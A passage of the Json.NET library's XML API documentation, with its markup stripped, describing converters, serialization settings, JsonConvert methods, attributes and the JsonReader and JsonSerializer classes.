8601 date format (e.g. "2008-04-12T12:53Z"). + + + + + Gets or sets the date time styles used when converting a date to and from JSON. + + The date time styles used when converting a date to and from JSON. + + + + Gets or sets the date time format used when converting a date to and from JSON. + + The date time format used when converting a date to and from JSON. + + + + Gets or sets the culture used when converting a date to and from JSON. + + The culture used when converting a date to and from JSON. + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Converts a to and from a JavaScript Date constructor (e.g. new Date(52231943)). + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing property value of the JSON that is being converted. + The calling serializer. + The object value. + + + + Converts a to and from JSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Converts a to and from JSON and BSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Converts an to and from its name string value. + + + + + Gets or sets a value indicating whether the written enum text should be camel case. + The default value is false. + + true if the written enum text will be camel case; otherwise, false. + + + + Gets or sets the naming strategy used to resolve how enum text is written. + + The naming strategy used to resolve how enum text is written. + + + + Gets or sets a value indicating whether integer values are allowed when serializing and deserializing. + The default value is true. + + true if integers are allowed when serializing and deserializing; otherwise, false. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class. + + true if the written enum text will be camel case; otherwise, false. + + + + Initializes a new instance of the class. + + The naming strategy used to resolve how enum text is written. + true if integers are allowed when serializing and deserializing; otherwise, false. + + + + Initializes a new instance of the class. + + The of the used to write enum text. + + + + Initializes a new instance of the class. + + The of the used to write enum text. + + The parameter list to use when constructing the described by . + If null, the default constructor is used. + When non-null, there must be a constructor defined in the that exactly matches the number, + order, and type of these parameters. + + + + + Initializes a new instance of the class. + + The of the used to write enum text. + + The parameter list to use when constructing the described by . + If null, the default constructor is used. + When non-null, there must be a constructor defined in the that exactly matches the number, + order, and type of these parameters. + + true if integers are allowed when serializing and deserializing; otherwise, false. + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Converts a to and from Unix epoch time + + + + + Gets or sets a value indicating whether the dates before Unix epoch + should converted to and from JSON. + + + true to allow converting dates before Unix epoch to and from JSON; + false to throw an exception when a date being converted to or from JSON + occurred before Unix epoch. The default value is false. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class. + + + true to allow converting dates before Unix epoch to and from JSON; + false to throw an exception when a date being converted to or from JSON + occurred before Unix epoch. The default value is false. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing property value of the JSON that is being converted. + The calling serializer. + The object value. + + + + Converts a to and from a string (e.g. "1.2.3.4"). + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing property value of the JSON that is being converted. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Converts XML to and from JSON. + + + + + Gets or sets the name of the root element to insert when deserializing to XML if the JSON structure has produced multiple root elements. + + The name of the deserialized root element. + + + + Gets or sets a value to indicate whether to write the Json.NET array attribute. + This attribute helps preserve arrays when converting the written XML back to JSON. + + true if the array attribute is written to the XML; otherwise, false. + + + + Gets or sets a value indicating whether to write the root JSON object. + + true if the JSON root object is omitted; otherwise, false. + + + + Gets or sets a value indicating whether to encode special characters when converting JSON to XML. + If true, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify + XML namespaces, attributes or processing directives. Instead special characters are encoded and written + as part of the XML element name. + + true if special characters are encoded; otherwise, false. + + + + Writes the JSON representation of the object. + + The to write to. + The calling serializer. + The value. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Checks if the is a namespace attribute. + + Attribute name to test. + The attribute name prefix if it has one, otherwise an empty string. + true if attribute name is for a namespace attribute, otherwise false. + + + + Determines whether this instance can convert the specified value type. + + Type of the value. + + true if this instance can convert the specified value type; otherwise, false. + + + + + Specifies how dates are formatted when writing JSON text. + + + + + Dates are written in the ISO 8601 format, e.g. "2012-03-21T05:40Z". + + + + + Dates are written in the Microsoft JSON format, e.g. "\/Date(1198908717056)\/". + + + + + Specifies how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON text. + + + + + Date formatted strings are not parsed to a date type and are read as strings. + + + + + Date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed to . + + + + + Date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed to . + + + + + Specifies how to treat the time value when converting between string and . + + + + + Treat as local time. If the object represents a Coordinated Universal Time (UTC), it is converted to the local time. + + + + + Treat as a UTC. If the object represents a local time, it is converted to a UTC. + + + + + Treat as a local time if a is being converted to a string. + If a string is being converted to , convert to a local time if a time zone is specified. + + + + + Time zone information should be preserved when converting. + + + + + The default JSON name table implementation. + + + + + Initializes a new instance of the class. + + + + + Gets a string containing the same characters as the specified range of characters in the given array. + + The character array containing the name to find. + The zero-based index into the array specifying the first character of the name. + The number of characters in the name. + A string containing the same characters as the specified range of characters in the given array. + + + + Adds the specified string into name table. + + The string to add. + This method is not thread-safe. + The resolved string. + + + + Specifies default value handling options for the . + + + + + + + + + Include members where the member value is the same as the member's default value when serializing objects. + Included members are written to JSON. Has no effect when deserializing. + + + + + Ignore members where the member value is the same as the member's default value when serializing objects + so that it is not written to JSON. + This option will ignore all default values (e.g. null for objects and nullable types; 0 for integers, + decimals and floating point numbers; and false for booleans). The default value ignored can be changed by + placing the on the property. + + + + + Members with a default value but no JSON will be set to their default value when deserializing. + + + + + Ignore members where the member value is the same as the member's default value when serializing objects + and set members to their default value when deserializing. + + + + + Specifies float format handling options when writing special floating point numbers, e.g. , + and with . + + + + + Write special floating point values as strings in JSON, e.g. "NaN", "Infinity", "-Infinity". + + + + + Write special floating point values as symbols in JSON, e.g. NaN, Infinity, -Infinity. + Note that this will produce non-valid JSON. + + + + + Write special floating point values as the property's default value in JSON, e.g. 0.0 for a property, null for a of property. + + + + + Specifies how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. + + + + + Floating point numbers are parsed to . + + + + + Floating point numbers are parsed to . + + + + + Specifies formatting options for the . + + + + + No special formatting is applied. This is the default. + + + + + Causes child objects to be indented according to the and settings. + + + + + Provides an interface for using pooled arrays. + + The array type content. + + + + Rent an array from the pool. This array must be returned when it is no longer needed. + + The minimum required length of the array. The returned array may be longer. + The rented array from the pool. This array must be returned when it is no longer needed. + + + + Return an array to the pool. + + The array that is being returned. + + + + Provides an interface to enable a class to return line and position information. + + + + + Gets a value indicating whether the class can return line information. + + + true if and can be provided; otherwise, false. + + + + + Gets the current line number. + + The current line number or 0 if no line information is available (for example, when returns false). + + + + Gets the current line position. + + The current line position or 0 if no line information is available (for example, when returns false). + + + + Instructs the how to serialize the collection. + + + + + Gets or sets a value indicating whether null items are allowed in the collection. + + true if null items are allowed in the collection; otherwise, false. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class with a flag indicating whether the array can contain null items. + + A flag indicating whether the array can contain null items. + + + + Initializes a new instance of the class with the specified container Id. + + The container Id. + + + + Instructs the to use the specified constructor when deserializing that object. + + + + + Instructs the how to serialize the object. + + + + + Gets or sets the id. + + The id. + + + + Gets or sets the title. + + The title. + + + + Gets or sets the description. + + The description. + + + + Gets or sets the collection's items converter. + + The collection's items converter. + + + + The parameter list to use when constructing the described by . + If null, the default constructor is used. + When non-null, there must be a constructor defined in the that exactly matches the number, + order, and type of these parameters. + + + + [JsonContainer(ItemConverterType = typeof(MyContainerConverter), ItemConverterParameters = new object[] { 123, "Four" })] + + + + + + Gets or sets the of the . + + The of the . + + + + The parameter list to use when constructing the described by . + If null, the default constructor is used. + When non-null, there must be a constructor defined in the that exactly matches the number, + order, and type of these parameters. + + + + [JsonContainer(NamingStrategyType = typeof(MyNamingStrategy), NamingStrategyParameters = new object[] { 123, "Four" })] + + + + + + Gets or sets a value that indicates whether to preserve object references. + + + true to keep object reference; otherwise, false. The default is false. + + + + + Gets or sets a value that indicates whether to preserve collection's items references. + + + true to keep collection's items object references; otherwise, false. The default is false. + + + + + Gets or sets the reference loop handling used when serializing the collection's items. + + The reference loop handling. + + + + Gets or sets the type name handling used when serializing the collection's items. + + The type name handling. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class with the specified container Id. + + The container Id. + + + + Provides methods for converting between .NET types and JSON types. + + + + + + + + Gets or sets a function that creates default . + Default settings are automatically used by serialization methods on , + and and on . + To serialize without using any default settings create a with + . + + + + + Represents JavaScript's boolean value true as a string. This field is read-only. + + + + + Represents JavaScript's boolean value false as a string. This field is read-only. + + + + + Represents JavaScript's null as a string. This field is read-only. + + + + + Represents JavaScript's undefined as a string. This field is read-only. + + + + + Represents JavaScript's positive infinity as a string. This field is read-only. + + + + + Represents JavaScript's negative infinity as a string. This field is read-only. + + + + + Represents JavaScript's NaN as a string. This field is read-only. + + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation using the specified. + + The value to convert. + The format the date will be converted to. + The time zone handling when the date is converted to a string. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation using the specified. + + The value to convert. + The format the date will be converted to. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + The string delimiter character. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + The string delimiter character. + The string escape handling. + A JSON string representation of the . + + + + Converts the to its JSON string representation. + + The value to convert. + A JSON string representation of the . + + + + Serializes the specified object to a JSON string. + + The object to serialize. + A JSON string representation of the object. + + + + Serializes the specified object to a JSON string using formatting. + + The object to serialize. + Indicates how the output should be formatted. + + A JSON string representation of the object. + + + + + Serializes the specified object to a JSON string using a collection of . + + The object to serialize. + A collection of converters used while serializing. + A JSON string representation of the object. + + + + Serializes the specified object to a JSON string using formatting and a collection of . + + The object to serialize. + Indicates how the output should be formatted. + A collection of converters used while serializing. + A JSON string representation of the object. + + + + Serializes the specified object to a JSON string using . + + The object to serialize. + The used to serialize the object. + If this is null, default serialization settings will be used. + + A JSON string representation of the object. + + + + + Serializes the specified object to a JSON string using a type, formatting and . + + The object to serialize. + The used to serialize the object. + If this is null, default serialization settings will be used. + + The type of the value being serialized. + This parameter is used when is to write out the type name if the type of the value does not match. + Specifying the type is optional. + + + A JSON string representation of the object. + + + + + Serializes the specified object to a JSON string using formatting and . + + The object to serialize. + Indicates how the output should be formatted. + The used to serialize the object. + If this is null, default serialization settings will be used. + + A JSON string representation of the object. + + + + + Serializes the specified object to a JSON string using a type, formatting and . + + The object to serialize. + Indicates how the output should be formatted. + The used to serialize the object. + If this is null, default serialization settings will be used. + + The type of the value being serialized. + This parameter is used when is to write out the type name if the type of the value does not match. + Specifying the type is optional. + + + A JSON string representation of the object. + + + + + Deserializes the JSON to a .NET object. + + The JSON to deserialize. + The deserialized object from the JSON string. + + + + Deserializes the JSON to a .NET object using . + + The JSON to deserialize. + + The used to deserialize the object. + If this is null, default serialization settings will be used. + + The deserialized object from the JSON string. + + + + Deserializes the JSON to the specified .NET type. + + The JSON to deserialize. + The of object being deserialized. + The deserialized object from the JSON string. + + + + Deserializes the JSON to the specified .NET type. + + The type of the object to deserialize to. + The JSON to deserialize. + The deserialized object from the JSON string. + + + + Deserializes the JSON to the given anonymous type. + + + The anonymous type to deserialize to. This can't be specified + traditionally and must be inferred from the anonymous type passed + as a parameter. + + The JSON to deserialize. + The anonymous type object. + The deserialized anonymous type from the JSON string. + + + + Deserializes the JSON to the given anonymous type using . + + + The anonymous type to deserialize to. This can't be specified + traditionally and must be inferred from the anonymous type passed + as a parameter. + + The JSON to deserialize. + The anonymous type object. + + The used to deserialize the object. + If this is null, default serialization settings will be used. + + The deserialized anonymous type from the JSON string. + + + + Deserializes the JSON to the specified .NET type using a collection of . + + The type of the object to deserialize to. + The JSON to deserialize. + Converters to use while deserializing. + The deserialized object from the JSON string. + + + + Deserializes the JSON to the specified .NET type using . + + The type of the object to deserialize to. + The object to deserialize. + + The used to deserialize the object. + If this is null, default serialization settings will be used. + + The deserialized object from the JSON string. + + + + Deserializes the JSON to the specified .NET type using a collection of . + + The JSON to deserialize. + The type of the object to deserialize. + Converters to use while deserializing. + The deserialized object from the JSON string. + + + + Deserializes the JSON to the specified .NET type using . + + The JSON to deserialize. + The type of the object to deserialize to. + + The used to deserialize the object. + If this is null, default serialization settings will be used. + + The deserialized object from the JSON string. + + + + Populates the object with values from the JSON string. + + The JSON to populate values from. + The target object to populate values onto. + + + + Populates the object with values from the JSON string using . + + The JSON to populate values from. + The target object to populate values onto. + + The used to deserialize the object. + If this is null, default serialization settings will be used. + + + + + Serializes the to a JSON string. + + The node to serialize. + A JSON string of the . + + + + Serializes the to a JSON string using formatting. + + The node to serialize. + Indicates how the output should be formatted. + A JSON string of the . + + + + Serializes the to a JSON string using formatting and omits the root object if is true. + + The node to serialize. + Indicates how the output should be formatted. + Omits writing the root object. + A JSON string of the . + + + + Deserializes the from a JSON string. + + The JSON string. + The deserialized . + + + + Deserializes the from a JSON string nested in a root element specified by . + + The JSON string. + The name of the root element to append when deserializing. + The deserialized . + + + + Deserializes the from a JSON string nested in a root element specified by + and writes a Json.NET array attribute for collections. + + The JSON string. + The name of the root element to append when deserializing. + + A value to indicate whether to write the Json.NET array attribute. + This attribute helps preserve arrays when converting the written XML back to JSON. + + The deserialized . + + + + Deserializes the from a JSON string nested in a root element specified by , + writes a Json.NET array attribute for collections, and encodes special characters. + + The JSON string. + The name of the root element to append when deserializing. + + A value to indicate whether to write the Json.NET array attribute. + This attribute helps preserve arrays when converting the written XML back to JSON. + + + A value to indicate whether to encode special characters when converting JSON to XML. + If true, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify + XML namespaces, attributes or processing directives. Instead special characters are encoded and written + as part of the XML element name. + + The deserialized . + + + + Serializes the to a JSON string. + + The node to convert to JSON. + A JSON string of the . + + + + Serializes the to a JSON string using formatting. + + The node to convert to JSON. + Indicates how the output should be formatted. + A JSON string of the . + + + + Serializes the to a JSON string using formatting and omits the root object if is true. + + The node to serialize. + Indicates how the output should be formatted. + Omits writing the root object. + A JSON string of the . + + + + Deserializes the from a JSON string. + + The JSON string. + The deserialized . + + + + Deserializes the from a JSON string nested in a root element specified by . + + The JSON string. + The name of the root element to append when deserializing. + The deserialized . + + + + Deserializes the from a JSON string nested in a root element specified by + and writes a Json.NET array attribute for collections. + + The JSON string. + The name of the root element to append when deserializing. + + A value to indicate whether to write the Json.NET array attribute. + This attribute helps preserve arrays when converting the written XML back to JSON. + + The deserialized . + + + + Deserializes the from a JSON string nested in a root element specified by , + writes a Json.NET array attribute for collections, and encodes special characters. + + The JSON string. + The name of the root element to append when deserializing. + + A value to indicate whether to write the Json.NET array attribute. + This attribute helps preserve arrays when converting the written XML back to JSON. + + + A value to indicate whether to encode special characters when converting JSON to XML. + If true, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify + XML namespaces, attributes or processing directives. Instead special characters are encoded and written + as part of the XML element name. + + The deserialized . + + + + Converts an object to and from JSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Gets a value indicating whether this can read JSON. + + true if this can read JSON; otherwise, false. + + + + Gets a value indicating whether this can write JSON. + + true if this can write JSON; otherwise, false. + + + + Converts an object to and from JSON. + + The object type to convert. + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. If there is no existing value then null will be used. + The existing value has a value. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Instructs the to use the specified when serializing the member or class. + + + + + Gets the of the . + + The of the . + + + + The parameter list to use when constructing the described by . + If null, the default constructor is used. + + + + + Initializes a new instance of the class. + + Type of the . + + + + Initializes a new instance of the class. + + Type of the . + Parameter list to use when constructing the . Can be null. + + + + Represents a collection of . + + + + + Instructs the how to serialize the collection. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class with the specified container Id. + + The container Id. + + + + The exception thrown when an error occurs during JSON serialization or deserialization. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class + with a specified error message. + + The error message that explains the reason for the exception. + + + + Initializes a new instance of the class + with a specified error message and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The exception that is the cause of the current exception, or null if no inner exception is specified. + + + + Initializes a new instance of the class. + + The that holds the serialized object data about the exception being thrown. + The that contains contextual information about the source or destination. + The parameter is null. + The class name is null or is zero (0). + + + + Instructs the to deserialize properties with no matching class member into the specified collection + and write values during serialization. + + + + + Gets or sets a value that indicates whether to write extension data when serializing the object. + + + true to write extension data when serializing the object; otherwise, false. The default is true. + + + + + Gets or sets a value that indicates whether to read extension data when deserializing the object. + + + true to read extension data when deserializing the object; otherwise, false. The default is true. + + + + + Initializes a new instance of the class. + + + + + Instructs the not to serialize the public field or public read/write property value. + + + + + Base class for a table of atomized string objects. + + + + + Gets a string containing the same characters as the specified range of characters in the given array. + + The character array containing the name to find. + The zero-based index into the array specifying the first character of the name. + The number of characters in the name. + A string containing the same characters as the specified range of characters in the given array. + + + + Instructs the how to serialize the object. + + + + + Gets or sets the member serialization. + + The member serialization. + + + + Gets or sets the missing member handling used when deserializing this object. + + The missing member handling. + + + + Gets or sets how the object's properties with null values are handled during serialization and deserialization. + + How the object's properties with null values are handled during serialization and deserialization. + + + + Gets or sets a value that indicates whether the object's properties are required. + + + A value indicating whether the object's properties are required. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class with the specified member serialization. + + The member serialization. + + + + Initializes a new instance of the class with the specified container Id. + + The container Id. + + + + Instructs the to always serialize the member with the specified name. + + + + + Gets or sets the type used when serializing the property's collection items. + + The collection's items type. + + + + The parameter list to use when constructing the described by . + If null, the default constructor is used. + When non-null, there must be a constructor defined in the that exactly matches the number, + order, and type of these parameters. + + + + [JsonProperty(ItemConverterType = typeof(MyContainerConverter), ItemConverterParameters = new object[] { 123, "Four" })] + + + + + + Gets or sets the of the . + + The of the . + + + + The parameter list to use when constructing the described by . + If null, the default constructor is used. + When non-null, there must be a constructor defined in the that exactly matches the number, + order, and type of these parameters. + + + + [JsonProperty(NamingStrategyType = typeof(MyNamingStrategy), NamingStrategyParameters = new object[] { 123, "Four" })] + + + + + + Gets or sets the null value handling used when serializing this property. + + The null value handling. + + + + Gets or sets the default value handling used when serializing this property. + + The default value handling. + + + + Gets or sets the reference loop handling used when serializing this property. + + The reference loop handling. + + + + Gets or sets the object creation handling used when deserializing this property. + + The object creation handling. + + + + Gets or sets the type name handling used when serializing this property. + + The type name handling. + + + + Gets or sets whether this property's value is serialized as a reference. + + Whether this property's value is serialized as a reference. + + + + Gets or sets the order of serialization of a member. + + The numeric order of serialization. + + + + Gets or sets a value indicating whether this property is required. + + + A value indicating whether this property is required. + + + + + Gets or sets the name of the property. + + The name of the property. + + + + Gets or sets the reference loop handling used when serializing the property's collection items. + + The collection's items reference loop handling. + + + + Gets or sets the type name handling used when serializing the property's collection items. + + The collection's items type name handling. + + + + Gets or sets whether this property's collection items are serialized as a reference. + + Whether this property's collection items are serialized as a reference. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class with the specified name. + + Name of the property. + + + + Represents a reader that provides fast, non-cached, forward-only access to serialized JSON data. + + + + + Asynchronously reads the next JSON token from the source. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns true if the next token was read successfully; false if there are no more tokens to read. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously skips the children of the current token. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously reads the next JSON token from the source as a of . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the of . This result will be null at the end of an array. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously reads the next JSON token from the source as a []. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the []. This result will be null at the end of an array. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously reads the next JSON token from the source as a of . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the of . This result will be null at the end of an array. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously reads the next JSON token from the source as a of . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the of . This result will be null at the end of an array. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously reads the next JSON token from the source as a of . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the of . This result will be null at the end of an array. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously reads the next JSON token from the source as a of . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the of . This result will be null at the end of an array. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously reads the next JSON token from the source as a of . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the of . This result will be null at the end of an array. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously reads the next JSON token from the source as a . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the . This result will be null at the end of an array. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Specifies the state of the reader. + + + + + A read method has not been called. + + + + + The end of the file has been reached successfully. + + + + + Reader is at a property. + + + + + Reader is at the start of an object. + + + + + Reader is in an object. + + + + + Reader is at the start of an array. + + + + + Reader is in an array. + + + + + The method has been called. + + + + + Reader has just read a value. + + + + + Reader is at the start of a constructor. + + + + + Reader is in a constructor. + + + + + An error occurred that prevents the read operation from continuing. + + + + + The end of the file has been reached successfully. + + + + + Gets the current reader state. + + The current reader state. + + + + Gets or sets a value indicating whether the source should be closed when this reader is closed. + + + true to close the source when this reader is closed; otherwise false. The default is true. + + + + + Gets or sets a value indicating whether multiple pieces of JSON content can + be read from a continuous stream without erroring. + + + true to support reading multiple pieces of JSON content; otherwise false. + The default is false. + + + + + Gets the quotation mark character used to enclose the value of a string. + + + + + Gets or sets how time zones are handled when reading JSON. + + + + + Gets or sets how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. + + + + + Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. + + + + + Gets or sets how custom date formatted strings are parsed when reading JSON. + + + + + Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . + A null value means there is no maximum. + The default value is 64. + + + + + Gets the type of the current JSON token. + + + + + Gets the text value of the current JSON token. + + + + + Gets the .NET type for the current JSON token. + + + + + Gets the depth of the current token in the JSON document. + + The depth of the current token in the JSON document. + + + + Gets the path of the current JSON token. + + + + + Gets or sets the culture used when reading JSON. Defaults to . + + + + + Initializes a new instance of the class. + + + + + Reads the next JSON token from the source. + + true if the next token was read successfully; false if there are no more tokens to read. + + + + Reads the next JSON token from the source as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the source as a . + + A . This method will return null at the end of an array. + + + + Reads the next JSON token from the source as a []. + + A [] or null if the next JSON token is null. This method will return null at the end of an array. + + + + Reads the next JSON token from the source as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the source as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the source as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the source as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the source as a of . + + A of . This method will return null at the end of an array. + + + + Skips the children of the current token. + + + + + Sets the current token. + + The new token. + + + + Sets the current token and value. + + The new token. + The value. + + + + Sets the current token and value. + + The new token. + The value. + A flag indicating whether the position index inside an array should be updated. + + + + Sets the state based on current token type. + + + + + Releases unmanaged and - optionally - managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + + Changes the reader's state to . + If is set to true, the source is also closed. + + + + + The exception thrown when an error occurs while reading JSON text. + + + + + Gets the line number indicating where the error occurred. + + The line number indicating where the error occurred. + + + + Gets the line position indicating where the error occurred. + + The line position indicating where the error occurred. + + + + Gets the path to the JSON where the error occurred. + + The path to the JSON where the error occurred. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class + with a specified error message. + + The error message that explains the reason for the exception. + + + + Initializes a new instance of the class + with a specified error message and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The exception that is the cause of the current exception, or null if no inner exception is specified. + + + + Initializes a new instance of the class. + + The that holds the serialized object data about the exception being thrown. + The that contains contextual information about the source or destination. + The parameter is null. + The class name is null or is zero (0). + + + + Initializes a new instance of the class + with a specified error message, JSON path, line number, line position, and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The path to the JSON where the error occurred. + The line number indicating where the error occurred. + The line position indicating where the error occurred. + The exception that is the cause of the current exception, or null if no inner exception is specified. + + + + Instructs the to always serialize the member, and to require that the member has a value. + + + + + The exception thrown when an error occurs during JSON serialization or deserialization. + + + + + Gets the line number indicating where the error occurred. + + The line number indicating where the error occurred. + + + + Gets the line position indicating where the error occurred. + + The line position indicating where the error occurred. + + + + Gets the path to the JSON where the error occurred. + + The path to the JSON where the error occurred. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class + with a specified error message. + + The error message that explains the reason for the exception. + + + + Initializes a new instance of the class + with a specified error message and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The exception that is the cause of the current exception, or null if no inner exception is specified. + + + + Initializes a new instance of the class. + + The that holds the serialized object data about the exception being thrown. + The that contains contextual information about the source or destination. + The parameter is null. + The class name is null or is zero (0). + + + + Initializes a new instance of the class + with a specified error message, JSON path, line number, line position, and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The path to the JSON where the error occurred. + The line number indicating where the error occurred. + The line position indicating where the error occurred. + The exception that is the cause of the current exception, or null if no inner exception is specified. + + + + Serializes and deserializes objects into and from the JSON format. + The enables you to control how objects are encoded into JSON. + + + + + Occurs when the errors during serialization and deserialization. + + + + + Gets or sets the used by the serializer when resolving references. + + + + + Gets or sets the used by the serializer when resolving type names. + + + + + Gets or sets the used by the serializer when resolving type names. + + + + + Gets or sets the used by the serializer when writing trace messages. + + The trace writer. + + + + Gets or sets the equality comparer used by the serializer when comparing references. + + The equality comparer. + + + + Gets or sets how type name writing and reading is handled by the serializer. + The default value is . + + + should be used with caution when your application deserializes JSON from an external source. + Incoming types should be validated with a custom 